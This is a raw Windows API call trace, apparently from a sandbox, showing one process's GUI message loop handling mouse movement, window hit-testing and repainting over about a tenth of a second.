WindowFromPoint (Point=0x2fb) returned 0x1034a [0269.976] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0x84, wParam=0x0, lParam=0x23002fb) returned 0x1 [0269.976] GetWindowThreadProcessId (in: hWnd=0x1034a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0269.976] GetCurrentProcessId () returned 0x8d0 [0269.976] GetPropA (hWnd=0x1034a, lpString=0xc167) returned 0x2c86c44 [0269.976] ClientToScreen (in: hWnd=0x1034a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0269.976] GetCapture () returned 0x0 [0269.976] WaitMessage () returned 1 [0269.992] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0269.992] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x84, wParam=0x0, lParam=0x2370305) returned 0x1 [0269.993] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=773, y=567)) returned 1 [0269.993] ClientToScreen (in: hWnd=0x20320, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0269.993] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x20, wParam=0x20320, lParam=0x2000001) returned 0x0 [0269.993] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x20, wParam=0x20320, lParam=0x2000001) returned 0x0 [0269.993] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x20, wParam=0x20320, lParam=0x2000001) returned 0x0 [0269.993] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x20320, lParam=0x2000001) returned 0x0 [0269.993] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x20320, lParam=0x2000001) returned 0x0 [0269.993] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0269.993] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0269.993] GetCapture () returned 0x0 [0269.993] ClientToScreen (in: hWnd=0x20320, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0269.993] WindowFromPoint (Point=0x305) returned 0x20320 [0269.993] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x84, wParam=0x0, lParam=0x2370305) returned 0x1 [0269.994] GetWindowThreadProcessId (in: hWnd=0x20320, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0269.994] GetCurrentProcessId () returned 0x8d0 [0269.994] GetPropA (hWnd=0x20320, lpString=0xc167) returned 0x2c869a8 [0269.994] ClientToScreen (in: hWnd=0x20320, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0269.994] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x200, wParam=0x0, lParam=0xea0106) returned 0x0 [0269.994] GetKeyState (nVirtKey=18) returned 1 [0269.994] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0269.994] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0269.994] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0269.994] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0269.994] GetWindowThreadProcessId (in: hWnd=0x1034a, lpdwProcessId=0x18f980 | out: lpdwProcessId=0x18f980) returned 0x8cc [0269.994] GetCurrentProcessId () returned 0x8d0 [0269.994] GetPropA (hWnd=0x1034a, lpString=0xc167) returned 0x2c86c44 [0269.994] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xbc4e, wParam=0x1034a, lParam=0x18fbd8) returned 0x0 [0269.994] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0269.994] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0269.994] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0269.994] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0269.994] GetClientRect (in: hWnd=0x1034a, lpRect=0x18f8c8 | out: lpRect=0x18f8c8) returned 1 [0269.994] FillRect (hDC=0x2a010b57, lprc=0x18f8c8, hbr=0xe100186) returned 1 [0269.995] GetClientRect (in: hWnd=0x20320, lpRect=0x18f7cc | out: lpRect=0x18f7cc) returned 1 [0269.995] FillRect (hDC=0x6010b6c, lprc=0x18f7cc, hbr=0xe100186) returned 1 [0269.995] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x318, wParam=0x6010b6c, lParam=0x4) returned 0x0 [0269.995] SendMessageA (hWnd=0x1034a, Msg=0xbd38, wParam=0x6010b6c, lParam=0x1034a) returned 0xe100186 [0269.995] GetSysColor (nIndex=8) returned 0x0 [0269.995] SetTextColor (hdc=0x6010b6c, color=0x0) returned 0x0 [0269.995] GetSysColor (nIndex=15) returned 0xf0f0f0 [0269.995] SetBkColor (hdc=0x6010b6c, color=0xf0f0f0) returned 0xf0f0f0 [0269.995] GetWindowThreadProcessId (in: hWnd=0x1034a, lpdwProcessId=0x18f654 | out: lpdwProcessId=0x18f654) returned 0x8cc [0269.996] GetCurrentProcessId () returned 0x8d0 [0269.996] GetPropA (hWnd=0x1034a, lpString=0xc167) returned 0x2c86c44 [0269.996] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xbc4e, wParam=0x1034a, lParam=0x18f924) returned 0x0 [0269.996] GetWindowThreadProcessId (in: hWnd=0x1034a, lpdwProcessId=0x18f654 | out: lpdwProcessId=0x18f654) returned 0x8cc [0269.996] GetCurrentProcessId () returned 0x8d0 [0269.996] GetPropA (hWnd=0x1034a, lpString=0xc167) returned 0x2c86c44 [0269.996] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xbc4e, wParam=0x1034a, lParam=0x18f924) returned 0x0 [0269.996] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1e [0269.996] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xd, wParam=0x1f, lParam=0x18e7f8) returned 0x1e [0269.996] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xd, wParam=0x3e, lParam=0x18e7d0) returned 0x1e [0269.997] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0269.997] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=773, y=567)) returned 1 [0269.997] WindowFromPoint (Point=0x305) returned 0x20320 [0269.997] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20320, Msg=0x84, wParam=0x0, lParam=0x2370305) returned 0x1 [0269.997] GetWindowThreadProcessId (in: hWnd=0x20320, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0269.997] GetCurrentProcessId () returned 0x8d0 [0269.997] GetPropA (hWnd=0x20320, lpString=0xc167) returned 0x2c869a8 [0269.997] ClientToScreen (in: hWnd=0x20320, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0269.997] GetCapture () returned 0x0 [0269.998] WaitMessage () returned 1 [0270.004] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0270.004] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x241030f) returned 0x1 [0270.004] GetCursorPos (in: lpPoint=0x18fc8c | out: lpPoint=0x18fc8c*(x=783, y=577)) returned 1 [0270.005] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fc74 | out: lpPoint=0x18fc74) returned 1 [0270.005] PtInRect (lprc=0x18fc68, pt=0x138) returned 0 [0270.005] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x2000001) returned 0x0 [0270.005] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0270.005] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0270.005] GetCapture () returned 0x0 [0270.005] PtInRect (lprc=0x18fd3c, pt=0x138) returned 0 [0270.005] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fd30 | out: lpPoint=0x18fd30) returned 1 [0270.005] WindowFromPoint (Point=0x30f) returned 0xc0060 [0270.005] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x241030f) returned 0x1 [0270.005] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fd10 | out: lpdwProcessId=0x18fd10) returned 0x8cc [0270.005] GetCurrentProcessId () returned 0x8d0 [0270.005] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0270.005] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fd14 | out: lpPoint=0x18fd14) returned 1 [0270.006] PtInRect (lprc=0x18fd08, pt=0x138) returned 0 [0270.006] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x200, wParam=0x0, lParam=0x13c0138) returned 0x0 [0270.006] GetKeyState (nVirtKey=18) returned 1 [0270.006] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0270.006] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0270.006] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0270.006] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0270.006] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0270.006] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=783, y=577)) returned 1 [0270.006] WindowFromPoint (Point=0x30f) returned 0xc0060 [0270.006] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x23e030f) returned 0x1 [0270.007] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0270.007] GetCurrentProcessId () returned 0x8d0 [0270.007] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0270.007] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0270.007] PtInRect (lprc=0x18fed0, pt=0x138) returned 1 [0270.007] GetCapture () returned 0x0 [0270.007] WaitMessage () returned 1 [0270.021] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0270.021] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0270.021] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0270.021] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0270.021] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0270.021] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=783, y=577)) returned 1 [0270.021] WindowFromPoint (Point=0x30f) returned 0xc0060 [0270.021] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x241030f) returned 0x1 [0270.022] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0270.022] GetCurrentProcessId () returned 0x8d0 [0270.022] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0270.022] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0270.022] PtInRect (lprc=0x18fed0, pt=0x138) returned 0 [0270.022] GetCapture () returned 0x0 [0270.022] WaitMessage () returned 1 [0270.026] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0270.026] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x24b0319) returned 0x1 [0270.026] GetCursorPos (in: lpPoint=0x18fc8c | out: lpPoint=0x18fc8c*(x=793, y=587)) returned 1 [0270.026] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fc74 | out: lpPoint=0x18fc74) returned 1 [0270.026] PtInRect (lprc=0x18fc68, pt=0x142) returned 0 [0270.026] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x2000001) returned 0x0 [0270.026] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0270.027] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0270.027] GetCapture () returned 0x0 [0270.027] PtInRect (lprc=0x18fd3c, pt=0x142) returned 0 [0270.027] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fd30 | out: lpPoint=0x18fd30) returned 1 [0270.027] WindowFromPoint (Point=0x319) returned 0xc0060 [0270.027] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x24b0319) returned 0x1 [0270.027] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fd10 | out: lpdwProcessId=0x18fd10) returned 0x8cc [0270.027] GetCurrentProcessId () returned 0x8d0 [0270.027] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0270.027] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fd14 | out: lpPoint=0x18fd14) returned 1 [0270.027] PtInRect (lprc=0x18fd08, pt=0x142) returned 0 [0270.027] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x200, wParam=0x0, lParam=0x1460142) returned 0x0 [0270.027] GetKeyState (nVirtKey=18) returned 1 [0270.027] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0270.027] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=793, y=587)) returned 1 [0270.027] WindowFromPoint (Point=0x319) returned 0xc0060 [0270.027] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x24b0319) returned 0x1 [0270.028] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0270.028] GetCurrentProcessId () returned 0x8d0 [0270.028] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0270.028] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0270.028] PtInRect (lprc=0x18fed0, pt=0x142) returned 0 [0270.028] GetCapture () returned 0x0 [0270.028] WaitMessage () returned 1 [0270.037] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0270.037] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2500323) returned 0x1 [0270.038] GetCursorPos (in: lpPoint=0x18fc98 | out: lpPoint=0x18fc98*(x=803, y=592)) returned 1 [0270.038] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fc80 | out: lpPoint=0x18fc80) returned 1 [0270.038] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x20, wParam=0x10340, lParam=0x2000001) returned 0x0 [0270.038] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x10340, lParam=0x2000001) returned 0x0 [0270.038] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0270.038] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0270.038] GetCapture () returned 0x0 [0270.038] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fd3c | out: lpPoint=0x18fd3c) returned 1 [0270.038] WindowFromPoint (Point=0x323) returned 0x10340 [0270.038] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2500323) returned 0x1 [0270.038] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fd1c | out: lpdwProcessId=0x18fd1c) returned 0x8cc [0270.038] GetCurrentProcessId () returned 0x8d0 [0270.038] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0270.038] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fd20 | out: lpPoint=0x18fd20) returned 1 [0270.038] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x200, wParam=0x0, lParam=0x40005) returned 0x0 [0270.038] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f958 | out: lpdwProcessId=0x18f958) returned 0x8cc [0270.038] GetCurrentProcessId () returned 0x8d0 [0270.039] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0270.039] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18fbc8) returned 0x0 [0270.039] GetKeyState (nVirtKey=18) returned 1 [0270.039] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0270.039] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0270.039] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0270.039] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0270.039] GetClientRect (in: hWnd=0x10340, lpRect=0x18f8c8 | out: lpRect=0x18f8c8) returned 1 [0270.039] FillRect (hDC=0x1b0106ca, lprc=0x18f8c8, hbr=0xe100186) returned 1 [0270.039] IsIconic (hWnd=0xc0060) returned 0 [0270.039] IsIconic (hWnd=0xc0060) returned 0 [0270.039] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f7a8 | out: lpRect=0x18f7a8) returned 1 [0270.039] FillRect (hDC=0x3b01069e, lprc=0x18f7a8, hbr=0xe100186) returned 1 [0270.040] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x318, wParam=0x3b01069e, lParam=0x4) returned 0x0 [0270.040] SendMessageA (hWnd=0x10340, Msg=0xbd35, wParam=0x3b01069e, lParam=0x10340) returned 0xe100186 [0270.040] GetSysColor (nIndex=8) returned 0x0 [0270.040] SetTextColor (hdc=0x3b01069e, color=0x0) returned 0x0 [0270.040] GetSysColor (nIndex=15) returned 0xf0f0f0 [0270.040] SetBkColor (hdc=0x3b01069e, color=0xf0f0f0) returned 0xf0f0f0 [0270.040] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0270.040] GetCurrentProcessId () returned 0x8d0 [0270.040] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0270.040] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0270.040] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0270.040] GetCurrentProcessId () returned 0x8d0 [0270.040] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0270.040] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0270.040] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0270.041] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x8, lParam=0x18e78c) returned 0x7 [0270.041] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x10, lParam=0x18e764) returned 0x7 [0270.041] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0270.041] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=803, y=592)) returned 1 [0270.041] WindowFromPoint (Point=0x322) returned 0x10340 [0270.042] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x24d0322) returned 0x1 [0270.042] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0270.042] GetCurrentProcessId () returned 0x8d0 [0270.042] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0270.042] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0270.042] GetCapture () returned 0x0 [0270.042] WaitMessage () returned 1 [0270.048] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0270.048] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x250032d) returned 0x1 [0270.048] GetCursorPos (in: lpPoint=0x18fc98 | out: lpPoint=0x18fc98*(x=813, y=592)) returned 1 [0270.048] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fc80 | out: lpPoint=0x18fc80) returned 1 [0270.048] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x20, wParam=0x10340, lParam=0x2000001) returned 0x0 [0270.048] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x10340, lParam=0x2000001) returned 0x0 [0270.048] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0270.048] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0270.048] GetCapture () returned 0x0 [0270.048] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fd3c | out: lpPoint=0x18fd3c) returned 1 [0270.048] WindowFromPoint (Point=0x32d) returned 0x10340 [0270.048] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x250032d) returned 0x1 [0270.048] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fd1c | out: lpdwProcessId=0x18fd1c) returned 0x8cc [0270.048] GetCurrentProcessId () returned 0x8d0 [0270.049] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0270.049] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fd20 | out: lpPoint=0x18fd20) returned 1 [0270.049] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x200, wParam=0x0, lParam=0x4000f) returned 0x0 [0270.049] GetKeyState (nVirtKey=18) returned 1 [0270.049] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0270.049] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=813, y=592)) returned 1 [0270.049] WindowFromPoint (Point=0x32c) returned 0x10340 [0270.049] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x250032c) returned 0x1 [0270.049] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0270.049] GetCurrentProcessId () returned 0x8d0 [0270.049] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0270.049] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0270.049] GetCapture () returned 0x0 [0270.049] WaitMessage () returned 1 [0270.052] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0270.052] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0270.052] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0270.052] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0270.052] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0270.052] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=813, y=592)) returned 1 [0270.053] WindowFromPoint (Point=0x32d) returned 0x10340 [0270.053] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x250032d) returned 0x1 [0270.053] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0270.053] GetCurrentProcessId () returned 0x8d0 [0270.053] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0270.053] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0270.053] GetCapture () returned 0x0 [0270.053] WaitMessage () returned 1 [0270.070] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0270.070] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2500337) returned 0x1 [0270.070] GetCursorPos (in: lpPoint=0x18fc98 | out: lpPoint=0x18fc98*(x=823, y=592)) returned 1 [0270.071] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fc80 | out: lpPoint=0x18fc80) returned 1 [0270.071] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x20, wParam=0x10340, lParam=0x2000001) returned 0x0 [0270.071] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x10340, lParam=0x2000001) returned 0x0 [0270.071] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0270.071] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0270.071] GetCapture () returned 0x0 [0270.071] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fd3c | out: lpPoint=0x18fd3c) returned 1 [0270.071] WindowFromPoint (Point=0x337) returned 0x10340 [0270.071] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2500337) returned 0x1 [0270.071] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fd1c | out: lpdwProcessId=0x18fd1c) returned 0x8cc [0270.071] GetCurrentProcessId () returned 0x8d0 [0270.071] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0270.071] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fd20 | out: lpPoint=0x18fd20) returned 1 [0270.071] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x200, wParam=0x0, lParam=0x40019) returned 0x0 [0270.071] GetKeyState (nVirtKey=18) returned 1 [0270.071] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0270.071] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=823, y=592)) returned 1 [0270.071] WindowFromPoint (Point=0x334) returned 0x10340 